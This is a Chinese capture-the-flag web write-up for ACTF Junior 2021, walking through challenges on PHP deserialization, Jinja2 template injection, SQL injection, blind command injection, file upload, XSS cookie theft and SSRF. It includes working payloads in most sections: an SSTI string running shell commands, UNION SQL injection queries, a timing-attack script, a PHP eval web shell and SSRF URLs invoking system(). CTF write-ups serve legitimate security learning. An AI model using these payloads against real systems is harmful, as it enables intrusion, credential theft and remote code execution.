[ACTF_Junior_2021] web wp

baby_serialize

一题基础的反序列化
代码审计,当Username为admin的时候就给flag

<?php
highlight_file(__FILE__);
include "flag.php";
class User{
    private $Username = "0xDktb";
    private $Password = "0xDktb111";

    function __construct(){
        $Username = "0xDktb";
        $Password = "0xDktb123";
    }


    function isAdmin(){
        if($this->Username == "admin"){
            return true;
        }
        return false;
    }

    function __destruct(){
        echo "Hello ".$this->Username;
    }
}

$user = new User();

if($_GET['user']){
    $user = unserialize($_GET['user']);
}

if($user->isAdmin()){
    echo $flag;
}

重写好变量
有个注意点:private属性序列化后,类名的前后要加上不可见字符%00

class User{
        private $Username = 'admin';
        private $Password;
    }

    $user = new User();
    $a = serialize($user);

payload:

O:4:"User":2:{s:14:"%00User%00Username";s:5:"admin";s:14:"%00Use%00rPassword";N;}

Do_You_like_Python?

一题SSRF模板注入,输入{{7*7}}
在这里插入图片描述
jianjia2模板
payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag').read()") }}{% endif %}{% endfor %}

easyeasySQL

基础sql组合拳就可以了

先查询字段数
写到4的时候就没有回显了,说明只有三个字段

1' order by 4#

看回显点

0' union select 1,2,3#

在这里插入图片描述

爆出表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆出字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='f1Ag'#

直接查询记录flag就可以了

想执行命令?

命令盲注,没有回显,可以通过时间盲注来操作:sleep 2

解法一:

写好python脚本:
注意命令的格式:空格,反引号内联执行命令

import requests
import string
import time

# 获取所有的大小写字母、数字和特殊符号
str=string.ascii_letters+string.digits
str=str+"{}_-`~!@#$%^&*()+"
flag=""
for x in range(1,30):
    for y in str:
    	# if语句,如果前面的判断正确了,就会执行后面的sleep延时
        tar="if [ `cut -c {} /flag` = \"{}\" ];then sleep 2;fi".format(x,y)
        data={
            'target':tar
        }
        start=time.time()
        res=requests.post('http://47.93.227.250:29034/',data=data).text
        # 记录运行的时间,如果运行超过了两秒说明前面的判断正确了,执行了延时
        num=time.time()-(start)
        if res:
            if num>2:
            	# flag的拼接
                flag=flag+y
                print(flag)

等他慢慢跑完就可以了
在这里插入图片描述
解法二
直接把根目录的flag复制到网站目录里,然后直接访问就可以了

cp /flag /var/www/html/f1ag.txt

linkgame

F12无效,右键无效,使用view-source协议看源代码,flag就出来了

easyUpload

基础文件上传
按F12提示看index.php,发现里面有源代码
对文件格式有个过滤

if(($_FILES["file"]["type"]=="image/jpeg"
         || $_FILES["file"]["type"]=="image/jpg"
         || $_FILES["file"]["type"]=="image/gif"
         || $_FILES["file"]["type"]=="image/png") && $_FILES["file"]["size"] < 1000000)

burp抓包,把Content-Type改掉,上面随便选一个就行
在这里插入图片描述
把一句话木马传到后台,开蚁剑就可以了

<?php @eval($_POST[123])?>

网页目录有一个假的flag,真flag得往上翻

esay_look

代码审计
要求传三个参数,要满足这几个条件:

  • $check = $a and $b;为true
  • $a and $b为false
  • $c == md5($c)
<?php
include "flag";
if(!$_GET['source']){    
    highlight_file(__FILE__);
}
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
$check = $a and $b;
if($check){
    if($a and $b){
        die("No flag!Try it again!");
    }
    else{
        if($c == md5($c)){
            die($flag);
        }
    }
}
else{
    die("Are You kidding?");
}

前两个条件看似矛盾,其实结果不同
当a=1,b=0的时候:
$a and $b显然是0,false
$check = $a and $b;的值却是1,可以自己在php里跑一下,这里check的值是等号后面这个变量的值,所以a赋值不为0,b赋值为0就可以了

<?php
    $a=1;
    $b=0;
    $check=$a and $b;
    echo $check.'<br>';

要满足$c == md5($c)可以爆破跑出来
c=0e215962017时是满足条件的
payload:a=123&b=0&c=0e215962017

easyXSS

去xss平台找一个cookie的代码发布出去,过几分钟管理员查看的时候拿到cookie
burp抓包,点get flag后修改cookie即可

easySSRF

先代码审计,第一层是给url传一个值,然后会跳转到这个网站,题目叫我们访问http://192.168.54.3/,那就直接传给url
在这里插入图片描述
到了第二层,要给这个url传两个值,普通的传值/?a=123&b=123是不行的,b的值会赋给最开始的地址,可以使用url编码,编码后就解决了
图片
然后就是执行变量函数:
空格用%20代替
payload:

http://101.37.32.116:20213/?url=http%3a%2f%2f192.168.54.3%2f%3fa%3dsystem%26b%3dls%2520%2f

找到flag.txt,用cat去访问就可以了
在这里插入图片描述

http://101.37.32.116:20213/?url=http%3a%2f%2f192.168.54.3%2f%3fa%3dsystem%26b%3dcat%2520%2fflag.txt

图片


版权声明:本文为m0_51078229原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。